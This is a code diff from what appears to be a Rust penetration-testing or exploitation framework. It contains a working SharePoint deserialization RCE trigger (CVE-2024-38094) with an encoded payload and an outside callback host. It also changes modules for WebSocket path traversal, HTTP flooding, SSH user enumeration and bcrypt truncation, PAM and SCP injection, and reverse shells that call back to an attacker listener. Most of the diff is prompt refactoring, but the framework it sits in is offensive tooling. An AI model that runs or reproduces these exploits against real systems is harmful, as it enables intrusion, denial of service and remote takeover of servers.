if !resp.status().is_success() {
println!("{}", "[-] Upload failed.".red());
println!("Response: {}", resp.text().await?);
return Err(anyhow!("Failed to upload BDCM file"));
}
println!("{}", "[+] Upload successful!".green());
// Step 4: Trigger
println!("{}", "[*] Triggering deserialization...".yellow());
let trigger_url = format!("{}/_vti_bin/client.svc/ProcessQuery", url);
let trigger_xml = r#"<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName=".NET Library" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"><Actions><ObjectPath Id="21" ObjectPathId="20" /><ObjectPath Id="23" ObjectPathId="22" /> <ObjectPath Id="25" ObjectPathId="24" /></Actions><ObjectPaths><Method Id="20" ParentId="7" Name="GetCreatorView"><Parameters><Parameter Type="String">CreateProduct</Parameter></Parameters></Method><Method Id="22" ParentId="20" Name="GetDefaultValues"><Parameters/></Method><Method Id="24" ParentId="7" Name="FindSpecific"><Parameters><Parameter ObjectPathId="19" ></Parameter><Parameter Type="String">CreateProduct</Parameter><Parameter ObjectPathId="18" /></Parameters></Method><Identity Id="7" Name="9ccba4bb-d3a8-4255-b87f-18e2d824b848|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo" /><Identity Id="17" Name="d42d9b6b-28e0-4ae8-a7f5-6503d367c115|4da630b6-36c5-4f55-8e01-5cd40e96104d:notifcallback:avkldkm.c.ultr.cc,CurrentContext" /><Identity Id="18" Name="d42d9b6b-28e0-4ae8-a7f5-6503d367c115|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:QjtvWXFT,QjtvWXFT" /><Identity Id="19" Name="d42d9b6b-28e0-4ae8-a7f5-6503d367c115|4da630b6-36c5-4f55-8e01-5cd40e96104d:identity:StB8AAA==eAAxAAkAeAAyAAkAeAAzAAkAeAA0AAkAeAA1AAkAeAA2AAkAeAA3AAkAeAA4AAkAeAA5AAkAeAAxADAACQB4ADEAMQAJAHgAMQAyAAkAQQBBAEUAQQBBAEEARAAvAC8ALwAvAC8AQQBRAEEAQQBBAEEAQQBBAEEAQQBBAE0AQQBnAEEAQQBBAEUAbABUAGUAWABOADAAWgBXADAAcwBJAEYAWgBsAGMAbgBOAHAAYgAyADQAOQBOAEMANAB3AEwAagBBAHUATQBDAHcAZwBRADMAVgBzAGQASABWAHkAWgBUADEAdQBaAFgAVgAwAGMAbQBGAHMATABDAEIAUQBkAFcASgBzAGEAVwBOAEwAWgBYAGwAVQBiADIAdABsAGIAagAxAGkATgB6AGQAaABOAFcATQAxAE4AagBFADUATQB6AFJAbABNAEQAZwA1AEIAUQBFAEEAQQBBAEMARQBBAFYATgA1AGMAMwBSAGwAYgBTADUARABiADIAeABzAFoAVwBOADAAYQBXADkAdQBjAHkANQBIAFoAVwA1AGwAYwBtAGwAagBMAGwATgB2AGMAbgBSAGwAWgBGAE4AbABkAEcAQQB4AFcAMQB0AFQAZQBYAE4AMABaAFcAMAB1AFUAMwBSAHkAYQBXADUAbgBMAEMAQgB0AGMAMgBOAHYAYwBtAHgAcABZAGkAdwBnAFYAbQBWAHkAYwAyAGwAdgBiAGoAMAAwAEwAagBBAHUATQBDADQAdwBMAEMAQgBEAGQAVwB4ADAAZABYAEoAbABQAFcANQBsAGQAWABSAHkAWQBXAHcAcwBJAEYAQgAxAFkAbQB4AHAAWQAwAHQAbABlAFYAUgB2AGEAMgBWAHUAUABXAEkAMwBOADIARQAxAFkAegBVADIATQBUAGsAegBOAEcAVQB3AE8ARABsAGQAWABRAFEAQQBBAEEAQQBGAFEAMgA5ADEAYgBuAFEASQBRADIAOQB0AGMARwBGAHkAWgBYAEkASABWAG0AVgB5AGMAMgBsAHYAYgBnAFYASgBkAEcAVgB0AGMAdwBBAEQAQQBBAFkASQBqAFEARgBUAGUAWABOADAAWgBXADAAdQBRADIAOQBzAGIARwBWAGoAZABHAGwAdgBiAG4ATQB1AFIAMgBWAHUAWgBYAEoAcABZAHkANQBEAGIAMgAxAHcAWQBYAEoAcABjADIAOQB1AFEAMgA5AHQAYwBHAEYAeQBaAFgASgBnAE0AVgB0AGIAVQAzAGwAegBkAEcAVgB0AEwAbABOADAAYwBtAGwAdQBaAHkAdwBnAGIAWABOAGoAYgAzAEoAcwBhAFcASQBzAEkARgBaAGwAYwBuAE4AcABiADIANAA5AE4AQwA0AHcATABqAEEAdQBNAEMAdwBnAFEAMwBWAHMAZABIAFYAeQBaAFQAMQB1AFoAWABWADAAYwBtAEYAcwBMAEMAQgBRAGQAVwBKAHMAYQBXAE4ATABaAFgAbABVAGIAMgB0AGwAYgBqADEAaQBOAHoAZABoAE4AVwBNADEATgBqAEUANQBNAHoAUgBsAE0ARABnADUAWABWADAASQBBAGcAQQBBAEEAQQBJAEEAQQBBAEEASgBBAHcAQQBBAEEAQQBJAEEAQQBBAEEASgBCAEEAQQBBAEEAQQBRAEQAQQBBAEEAQQBqAFEARgBUAGUAWABOADAAWgBXADAAdQBRADIAOQBzAGIARwBWAGoAZABHAGwAdgBiAG4ATQB1AFIAMgBWAHUAWgBYAEoAcABZAHkANQBEAGIAMgAxAHcAWQBYAEoAcABjADIAOQB1AFEAMgA5AHQAYwBHAEYAeQBaAFgASgBnAE0AVgB0AGIAVQAzAGwAegBkAEcAVgB0AEwAbABOADAAYwBtAGwAdQBaAHkAdwBnAGIAWABOAGoAYgAzAEoAcwBhAFcASQBzAEkARgBaAGwAYwBuAE4AcABiADIANAA5AE4AQwA0AHcATABqAEEAdQBNAEMAdwBnAFEAMwBWAHMAZABIAFYAeQBaAFQAMQB1AFoAWABWADAAYwBtAEYAcwBMAEMAQgBRAGQAVwBKAHMAYQBXAE4ATABaAFgAbABVAGIAMgB0AGwAYgBqADEAaQBOAHoAZABoAE4AVwBNADEATgBqAEUANQBNAHoAUgBsAE0ARABnADUAWABWADAAQgBBAEEAQQBBAEMAMQA5AGoAYgAyADEAdwBZAFgASgBwAGMAMgA5AHUAQQB5AEoAVABlAFgATgAwAFoAVwAwAHUAUgBHAFYAcwBaAFcAZABoAGQARwBWAFQAWgBYAEoAcABZAFcAeABwAGUAbQBGADAAYQBXADkAdQBTAEcAOQBzAFoARwBWAHkAQwBRAFUAQQBBAEEAQQBSAEIAQQBBAEEAQQBBAEkAQQBBAEEAQQBHAEIAZwBBAEEAQQBBAHMAdgBZAHkAQgBqAFkAVwB4AGoATABtAFYANABaAFEAWQBIAEEAQQBBAEEAQQAyAE4AdABaAEEAUQBGAEEAQQBBAEEASQBsAE4ANQBjADMAUgBsAGIAUwA1AEUAWgBXAHgAbABaADIARgAwAFoAVgBOAGwAYwBtAGwAaABiAEcAbAA2AFkAWABSAHAAWwAyADUASQBiADIAeABrAFoAWABJAEQAQQBBAEEAQQBDAEUAUgBsAGIARwBWAG4AWQBYAFIAbABCADIAMQBsAGQARwBoAHYAWgBEAEEASABiAFcAVgAwAGEARwA5AGsATQBRAE0ARABBAHoAQgBUAGUAWABOADAAWgBXADAAdQBSAEcAVgBzAFoAVwBkAGgAZABHAFYAVABaAFgASgBwAFkAVwB4AHAAZQBtAEYAMABhAFcAOQB1AFMARwA5AHMAWgBHAFYAeQBLADAAUgBsAGIARwBWAG4AWQBYAFIAbABSAFcANQAwAGMAbgBrAHYAVQAzAGwAegBkAEcAVgB0AEwAbABKAGwAWgBtAHgAbABZADMAUgBwAGIAMgA0AHUAVABXAFYAdABZAG0AVgB5AFMAVwA1AG0AYgAxAE4AbABjAG0AbABoAGIARwBsADYAWQBYAFIAcABiADIANQBJAGIAMgB4AGsAWgBYAEkAdgBVADMAbAB6AGQARwBWAHQATABsAEoAbABaAG0AeABsAFkAMwBSAHAAYgAyADQAdQBUAFcAVgAw==" /></ObjectPaths></Request>"#;
let _ = client.post(&trigger_url)
.header("X-RequestDigest", &digest)
.header("Content-Type", "text/xml")
.header("X-RequestForceAuthentication", "true")
.basic_auth(&username, Some(&password))
.body(trigger_xml)
.send()
.await?;
println!("{}", "[*] Exploit trigger sent. Check if payload executed.".green());
Ok(())
}
fn display_banner() {
println!("{}", "Microsoft SharePoint RCE (CVE-2024-38094)".green().bold());
}
+1
View File
@@ -0,0 +1 @@
pub mod cve_2024_38094;
+9 -9
View File
@@ -101,9 +101,9 @@ async fn execute(host: &str, port: u16, path: &str) -> Result<()> {
/// Sends a malicious 'load' event over WS with a track name containing ../
async fn ws_inject_path_traversal(host: &str, port: u16) -> Result<()> {
// Prompt for malicious filename using shared utilities
let malicious_name = prompt_default("Malicious filename", "../evil.sh").await?;
let track_id = prompt_default("Fake track ID", "INJECT1").await?;
let codec = prompt_default("Codec extension", "mp3").await?;
let malicious_name = prompt_default("Malicious filename", "../evil.sh")?;
let track_id = prompt_default("Fake track ID", "INJECT1")?;
let codec = prompt_default("Codec extension", "mp3")?;
let payload = json!({
"type": "load",
@@ -169,7 +169,7 @@ async fn parse_target(target: &str) -> Result<(String, u16)> {
return Ok((host, port));
} else {
// No port provided, prompt for it
let port = prompt_int_range("Target port", 17086, 1, 65535).await? as u16;
let port = prompt_int_range("Target port", 17086, 1, 65535)? as u16;
return Ok((host, port));
}
}
@@ -184,7 +184,7 @@ async fn parse_target(target: &str) -> Result<(String, u16)> {
Ok((host, port))
} else {
// No port provided, prompt for it
let port = prompt_int_range("Target port", 17086, 1, 65535).await? as u16;
let port = prompt_int_range("Target port", 17086, 1, 65535)? as u16;
Ok((normalized, port))
}
}
@@ -210,7 +210,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("6. Flood HTTP endpoint (DoS)");
println!("7. Exit");
let choice = prompt_int_range("Choose an option", 1, 1, 7).await? as u8;
let choice = prompt_int_range("Choose an option", 1, 1, 7)? as u8;
match choice {
1 => {
@@ -234,9 +234,9 @@ pub async fn run(target: &str) -> Result<()> {
}
6 => {
// Flood prompts using shared utilities
let path = prompt_default("Endpoint to flood", "/playback/next").await?;
let count = prompt_int_range("Number of requests", 100, 1, 10000).await? as usize;
let delay = prompt_int_range("Delay between requests (ms)", 0, 0, 10000).await? as f64 / 1000.0;
let path = prompt_default("Endpoint to flood", "/playback/next")?;
let count = prompt_int_range("Number of requests", 100, 1, 10000)? as usize;
let delay = prompt_int_range("Delay between requests (ms)", 0, 0, 10000)? as f64 / 1000.0;
dos_flood(&host, port, &path, count, delay).await?;
}
@@ -1,12 +1,13 @@
use std::io::{ErrorKind};
use std::io::{ErrorKind, Write};
use std::sync::Arc;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::io::{AsyncReadExt, AsyncWriteExt, AsyncBufReadExt};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, Duration, Instant};
use tokio::sync::Semaphore;
use futures_util::stream::{FuturesUnordered, StreamExt};
use crate::utils::prompt_port;
const MAX_PACKET_SIZE: usize = 256 * 1024;
const LOGIN_GRACE_TIME: f64 = 120.0;
@@ -409,59 +410,30 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
}
let ip_address = target_info.to_string();
let port_num: u16;
loop {
print!("{}", "Enter the target port number (e.g., 22): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut port_input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut port_input)
.await
.context("Failed to read port from stdin")?;
match port_input.trim().parse::<u16>() {
Ok(port) if port > 0 => {
port_num = port;
break;
}
Ok(_) => {
println!("{}", "[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.".yellow());
}
Err(_) => {
println!("{}", "[!] Invalid input. Please enter a valid port number (1-65535).".yellow());
}
}
}
let port_num = prompt_port("Enter the target port number", 22)?;
print_post_actions();
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.ok();
let mut choice_str = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut choice_str)
.await
.ok();
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
let num_attempts_per_base: usize;
loop {
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut attempts_str)
.await
.context("Failed to read number of attempts")?;
match attempts_str.trim().parse::<usize>() {
Ok(num) if num > 0 => {
+20 -26
View File
@@ -11,14 +11,14 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use crate::utils::normalize_target;
use crate::utils::{normalize_target, prompt_port};
use ssh2::Session;
use std::{
io::Write,
net::TcpStream,
time::{Duration, Instant},
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
@@ -415,16 +415,14 @@ pub async fn attack_bcrypt_truncation(
}
/// Prompt helpers
async fn prompt_default(message: &str, default: &str) -> Result<String> {
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
@@ -434,16 +432,14 @@ async fn prompt_default(message: &str, default: &str) -> Result<String> {
}
}
async fn prompt_optional(message: &str) -> Result<Option<String>> {
fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
@@ -453,17 +449,15 @@ async fn prompt_optional(message: &str) -> Result<Option<String>> {
}
}
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
@@ -489,7 +483,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", host).cyan());
// Get port
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
let port: u16 = prompt_port("SSH Port", 22)?;
println!();
println!("{}", "Select attack mode:".yellow().bold());
@@ -500,30 +494,30 @@ pub async fn run(target: &str) -> Result<()> {
println!(" 5. Run All Attacks");
println!();
let mode = prompt_default("Attack mode", "3").await?;
let mode = prompt_default("Attack mode", "3")?;
match mode.as_str() {
"1" => {
let username = prompt_default("Username to test", "root").await?;
let max_len: usize = prompt_default("Maximum password length", "8192").await?.parse().unwrap_or(8192);
let username = prompt_default("Username to test", "root")?;
let max_len: usize = prompt_default("Maximum password length", "8192")?.parse().unwrap_or(8192);
attack_password_length_dos(&host, port, &username, max_len).await?;
}
"2" => {
attack_password_change_leak(&host, port).await?;
}
"3" => {
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(3);
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(3);
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Use default username list?", true).await? {
if prompt_yes_no("Use default username list?", true)? {
for user in DEFAULT_USERNAMES {
usernames.push(user.to_string());
}
}
let custom = prompt_optional("Additional usernames (comma-separated)").await?;
let custom = prompt_optional("Additional usernames (comma-separated)")?;
if let Some(custom_users) = custom {
for user in custom_users.split(',') {
let user = user.trim();
@@ -540,8 +534,8 @@ pub async fn run(target: &str) -> Result<()> {
attack_auth_timing(&host, port, &usernames, samples).await?;
}
"4" => {
let username = prompt_default("Username", "root").await?;
let base_password = prompt_default("Base password (will be padded to 72 chars)", "testpassword").await?;
let username = prompt_default("Username", "root")?;
let base_password = prompt_default("Base password (will be padded to 72 chars)", "testpassword")?;
attack_bcrypt_truncation(&host, port, &username, &base_password).await?;
}
"5" | _ => {
+26 -34
View File
@@ -14,7 +14,7 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use crate::utils::normalize_target;
use crate::utils::{normalize_target, prompt_port};
use ssh2::Session;
use std::{
io::{Read, Write},
@@ -22,7 +22,7 @@ use std::{
path::Path,
time::{Duration, Instant},
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
@@ -455,30 +455,26 @@ pub async fn attack_pam_env_injection(
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
@@ -488,16 +484,14 @@ async fn prompt_default(message: &str, default: &str) -> Result<String> {
}
}
async fn prompt_optional(message: &str) -> Result<Option<String>> {
fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
@@ -507,17 +501,15 @@ async fn prompt_optional(message: &str) -> Result<Option<String>> {
}
}
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
@@ -544,7 +536,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", host).cyan());
// Get port
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
let port: u16 = prompt_port("SSH Port", 22)?;
println!();
println!("{}", "Select attack mode:".yellow().bold());
@@ -555,31 +547,31 @@ pub async fn run(target: &str) -> Result<()> {
println!(" 5. Run All Attacks");
println!();
let mode = prompt_default("Attack mode", "3").await?;
let mode = prompt_default("Attack mode", "3")?;
match mode.as_str() {
"1" => {
let iterations: u32 = prompt_default("Number of attempts", "100").await?.parse().unwrap_or(100);
let delay: u64 = prompt_default("Delay between attempts (ms)", "100").await?.parse().unwrap_or(100);
let iterations: u32 = prompt_default("Number of attempts", "100")?.parse().unwrap_or(100);
let delay: u64 = prompt_default("Delay between attempts (ms)", "100")?.parse().unwrap_or(100);
attack_pam_memory_dos(&host, port, iterations, delay).await?;
}
"2" => {
let max_len: usize = prompt_default("Maximum username length", "8192").await?.parse().unwrap_or(8192);
let max_len: usize = prompt_default("Maximum username length", "8192")?.parse().unwrap_or(8192);
attack_pam_username_overflow(&host, port, max_len).await?;
}
"3" => {
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(3);
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(3);
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Use default username list?", true).await? {
if prompt_yes_no("Use default username list?", true)? {
for user in DEFAULT_USERNAMES {
usernames.push(user.to_string());
}
}
let custom = prompt_optional("Additional usernames (comma-separated)").await?;
let custom = prompt_optional("Additional usernames (comma-separated)")?;
if let Some(custom_users) = custom {
for user in custom_users.split(',') {
let user = user.trim();
@@ -592,13 +584,13 @@ pub async fn run(target: &str) -> Result<()> {
attack_pam_timing(&host, port, &usernames, samples).await?;
}
"4" => {
let username = prompt("Username").await?;
let username = prompt("Username")?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt_optional("Password").await?;
let keyfile = prompt_optional("SSH Key File Path").await?;
let password = prompt_optional("Password")?;
let keyfile = prompt_optional("SSH Key File Path")?;
if password.is_none() && keyfile.is_none() {
return Err(anyhow!("Either password or keyfile is required"));
@@ -612,7 +604,7 @@ pub async fn run(target: &str) -> Result<()> {
println!();
println!("{}", "--- Attack 1: Memory Exhaustion ---".cyan());
if prompt_yes_no("Run memory DoS test (50 iterations)?", false).await? {
if prompt_yes_no("Run memory DoS test (50 iterations)?", false)? {
let _ = attack_pam_memory_dos(&host, port, 50, 100).await;
} else {
println!("{}", "[*] Skipped".dimmed());
+18 -24
View File
@@ -12,15 +12,15 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use crate::utils::{normalize_target, validate_file_path};
use crate::utils::{normalize_target, validate_file_path, prompt_port};
use ssh2::Session;
use std::{
io::Read,
io::{Read, Write},
net::TcpStream,
path::Path,
time::Duration,
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
@@ -336,30 +336,26 @@ pub async fn attack_scp_cmd_injection(
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
@@ -369,16 +365,14 @@ async fn prompt_default(message: &str, default: &str) -> Result<String> {
}
}
async fn prompt_optional(message: &str) -> Result<Option<String>> {
fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
@@ -396,7 +390,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
let port: u16 = prompt_port("SSH Port", 22)?;
println!();
println!("{}", "Select attack mode:".yellow().bold());
@@ -407,7 +401,7 @@ pub async fn run(target: &str) -> Result<()> {
println!(" 5. Run All Attacks");
println!();
let mode = prompt_default("Attack mode", "2").await?;
let mode = prompt_default("Attack mode", "2")?;
// Mode 2 doesn't require auth
if mode == "2" {
@@ -416,13 +410,13 @@ pub async fn run(target: &str) -> Result<()> {
}
// Other modes require authentication
let username = prompt("Username").await?;
let username = prompt("Username")?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt_optional("Password").await?;
let keyfile = prompt_optional("SSH Key File Path").await?;
let password = prompt_optional("Password")?;
let keyfile = prompt_optional("SSH Key File Path")?;
// Validate keyfile path if provided
if let Some(ref kf) = keyfile {
@@ -442,7 +436,7 @@ pub async fn run(target: &str) -> Result<()> {
attack_scp_traversal(&host, port, &username, password_ref, keyfile_ref).await?;
}
"3" => {
let depth: u32 = prompt_default("Brace expansion depth", "10").await?.parse().unwrap_or(10);
let depth: u32 = prompt_default("Brace expansion depth", "10")?.parse().unwrap_or(10);
attack_scp_brace_dos(&host, port, &username, password_ref, keyfile_ref, depth).await?;
}
"4" => {
+29 -38
View File
@@ -15,7 +15,7 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use crate::utils::{normalize_target, validate_command_input, validate_file_path};
use crate::utils::{normalize_target, validate_command_input, validate_file_path, prompt_port};
use ssh2::Session;
use std::{
collections::HashMap,
@@ -24,7 +24,7 @@ use std::{
path::Path,
time::Duration,
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
@@ -260,14 +260,12 @@ pub async fn attack_revshell(
println!();
print!("Press Enter to send payload...");
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
attack_exec(host, port, username, password, keyfile, &cmd, 5).await
@@ -357,18 +355,17 @@ pub async fn attack_interactive_shell(
cwd = pwd.trim().to_string();
}
let mut stdin_reader = tokio::io::BufReader::new(tokio::io::stdin());
let stdin_reader = std::io::stdin();
loop {
// Print prompt
print!("{}", format!("{}@{}:{} $ ", username, host, cwd).green());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
// Read command
let mut input = String::new();
if stdin_reader.read_line(&mut input).await.is_err() {
if stdin_reader.read_line(&mut input).is_err() {
break;
}
@@ -495,30 +492,26 @@ pub async fn attack_interactive_shell(
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
@@ -528,16 +521,14 @@ async fn prompt_default(message: &str, default: &str) -> Result<String> {
}
}
async fn prompt_optional(message: &str) -> Result<Option<String>> {
fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
@@ -555,14 +546,14 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
let username = prompt("Username").await?;
let port: u16 = prompt_port("SSH Port", 22)?;
let username = prompt("Username")?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt_optional("Password").await?;
let keyfile = prompt_optional("SSH Key File Path").await?;
let password = prompt_optional("Password")?;
let keyfile = prompt_optional("SSH Key File Path")?;
// Validate keyfile path if provided
if let Some(ref kf) = keyfile {
@@ -584,7 +575,7 @@ pub async fn run(target: &str) -> Result<()> {
println!(" 6. Download File");
println!();
let mode = prompt_default("Attack mode", "1").await?;
let mode = prompt_default("Attack mode", "1")?;
let password_ref = password.as_deref();
let keyfile_ref = keyfile.as_deref();
@@ -594,7 +585,7 @@ pub async fn run(target: &str) -> Result<()> {
attack_session_env_injection(&host, port, &username, password_ref, keyfile_ref, None).await?;
}
"2" => {
let command = prompt_default("Command to execute", "id").await?;
let command = prompt_default("Command to execute", "id")?;
let validated_command = validate_command_input(&command)
.map_err(|e| anyhow!("Invalid command: {}", e))?;
attack_exec(&host, port, &username, password_ref, keyfile_ref, &validated_command, 30).await?;
@@ -603,11 +594,11 @@ pub async fn run(target: &str) -> Result<()> {
attack_interactive_shell(&host, port, &username, password_ref, keyfile_ref).await?;
}
"4" => {
let lhost = prompt("Listener IP (LHOST)").await?;
let lhost = prompt("Listener IP (LHOST)")?;
if lhost.is_empty() {
return Err(anyhow!("LHOST is required"));
}
let lport: u16 = prompt_default("Listener Port (LPORT)", "4444").await?.parse().unwrap_or(4444);
let lport: u16 = prompt_default("Listener Port (LPORT)", "4444")?.parse().unwrap_or(4444);
println!();
println!("{}", "Available payloads:".cyan());
@@ -615,13 +606,13 @@ pub async fn run(target: &str) -> Result<()> {
for key in payloads.keys() {
println!(" - {}", key);
}
let payload_type = prompt_default("Payload type", "bash").await?;
let payload_type = prompt_default("Payload type", "bash")?;
attack_revshell(&host, port, &username, password_ref, keyfile_ref, &lhost, lport, &payload_type).await?;
}
"5" => {
let local_path = prompt("Local file path").await?;
let remote_path = prompt("Remote file path").await?;
let local_path = prompt("Local file path")?;
let remote_path = prompt("Remote file path")?;
let validated_local = validate_file_path(&local_path, true)
.map_err(|e| anyhow!("Invalid local file path: {}", e))?;
